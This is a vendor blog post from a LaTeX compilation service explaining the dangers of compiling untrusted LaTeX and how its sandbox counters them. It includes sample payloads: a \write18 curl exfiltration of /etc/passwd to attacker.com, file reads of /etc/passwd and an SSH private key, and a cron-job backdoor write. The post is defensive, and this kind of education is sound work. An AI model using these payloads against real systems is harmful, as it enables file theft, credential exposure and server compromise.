FormaTeX

\begin{article}

LaTeX Security Risks: What Happens When You Run pdflatex on Your Server

LaTeX is Turing-complete and can execute shell commands, read files, and make network requests. Here is what you are exposing when you run user-supplied LaTeX without a sandbox.

·5 min read·
LaTeX Security Risks: What Happens When You Run pdflatex on Your Server

Most developers assume that compiling a LaTeX document is roughly as safe as rendering Markdown. It is not. LaTeX is a Turing-complete programming language with built-in commands for accessing the file system, executing shell commands, and making network requests. Running untrusted LaTeX on your server without a sandbox is a critical security vulnerability.

LaTeX Is a Turing-Complete Language

TeX (the engine underlying all LaTeX variants) has conditionals, loops, recursion, and I/O. This was a deliberate design decision — Knuth wanted TeX to be expressive enough to handle any typesetting requirement. The side effect is that a LaTeX document is a program, not just markup.

latex
% This is valid LaTeX — it counts from 1 to 10
\newcount\i
\i=1
\loop
  \the\i\quad
  \advance\i by 1
\ifnum\i<11 \repeat

The power that makes LaTeX expressive is the same power that makes it dangerous when running untrusted input.

shell-escape: The Most Dangerous Feature

The most serious risk is \write18 — a LaTeX command that executes an arbitrary shell command:

latex
% This will execute if shell-escape is enabled
\write18{curl -s https://attacker.com/exfil?data=$(cat /etc/passwd)}

With --shell-escape enabled (the default in some distributions), this command runs during compilation. The attacker has full shell access with the permissions of the LaTeX process.

Real attacks using \write18 include:

  • Reading /etc/passwd, /etc/shadow, and other sensitive files
  • Exfiltrating environment variables (API keys, database credentials)
  • Writing backdoors to the file system
  • Pivoting to internal network services

Never run pdflatex --shell-escape on user-supplied content. The attack surface is equivalent to eval() in JavaScript or exec() in Python — never call them with untrusted input.

File System Access

Even without shell-escape, LaTeX has direct file system access through several mechanisms:

Reading Files

latex
% Reads and includes an arbitrary file as LaTeX source
\input{/etc/passwd}

% Includes a file verbatim (no execution)
\verbatiminput{/home/user/.ssh/id_rsa}

If the file contains valid LaTeX, it will be executed. If it contains arbitrary text, it appears in the output PDF — which the attacker can then download.

Writing Files

latex
% Creates or overwrites arbitrary files
\newwrite\outfile
\openout\outfile=/etc/cron.d/backdoor
\write\outfile{* * * * * root /tmp/shell.sh}
\closeout\outfile

This writes a cron job as root (if the LaTeX process runs with sufficient permissions). Combined with a previous \input to learn the system layout, this is a full compromise.

Known CVEs and Incidents

Several real-world incidents have involved LaTeX compilation vulnerabilities:

  • CVE-2023-32700 — arbitrary code execution via crafted LaTeX input in multiple services
  • Overleaf incident (2020) — researchers demonstrated file read via \input on insufficiently sandboxed compilation
  • Academic tool vulnerabilities — several automated grading and submission systems have been exploited via LaTeX injection

These are not theoretical. If your compilation service accepts user-supplied LaTeX and runs it without a sandbox, it will eventually be attacked.

How FormaTeX Sandboxes Compilation

FormaTeX runs every compilation in an isolated environment designed to prevent these attacks:

shell-escape Disabled

All engines are invoked with shell-escape explicitly disabled:

bash
pdflatex -no-shell-escape -interaction=nonstopmode document.tex

The \write18 command is silently ignored. No shell commands execute.

File System Isolation

Each compilation runs in an ephemeral container with:

  • A fresh, empty working directory
  • No access to the host file system
  • No access to other users' compilation directories
  • Temp files deleted immediately after the job completes

\input and \verbatiminput can only read files you explicitly provide in the request.

Network Isolation

The compilation container has no network access. Even if shell-escape were somehow enabled, the LaTeX process cannot make outbound HTTP requests, DNS lookups, or any other network calls.

Resource Limits

Each job has enforced limits:

  • CPU time (engine-specific, tied to plan timeout)
  • Memory (prevents unbounded recursion or memory exhaustion attacks)
  • Output file size (prevents disk exhaustion)
  • Temp file count (prevents inode exhaustion)

Security Checklist for Self-Hosted LaTeX

If you must run LaTeX on your own infrastructure, this is the minimum checklist:

  • Run pdflatex with -no-shell-escape flag
  • Run in a Docker container with --read-only filesystem
  • Mount only a dedicated temp directory as writable
  • Set --network none on the container
  • Set --memory and --cpus resource limits
  • Set a process timeout (not just a LaTeX timeout — process-level kill)
  • Clean up all temp files after each job
  • Never run as root
  • Log all compilation attempts with metadata (not content)
  • Rate limit per API key or user

This is a substantial amount of security engineering. FormaTeX implements all of it so you do not have to.

FormaTeX compilation files are ephemeral — input LaTeX and output PDFs are deleted immediately after the response is sent. There is no persistent storage of your document content.

Get Started Safely

\end{article}

Back to blog

\related{posts}

One quick thing

We track anonymous usage — page views, feature usage, compilation events — to understand what works and what doesn't. No ads, no personal data, no third-party sharing.

Cookie policy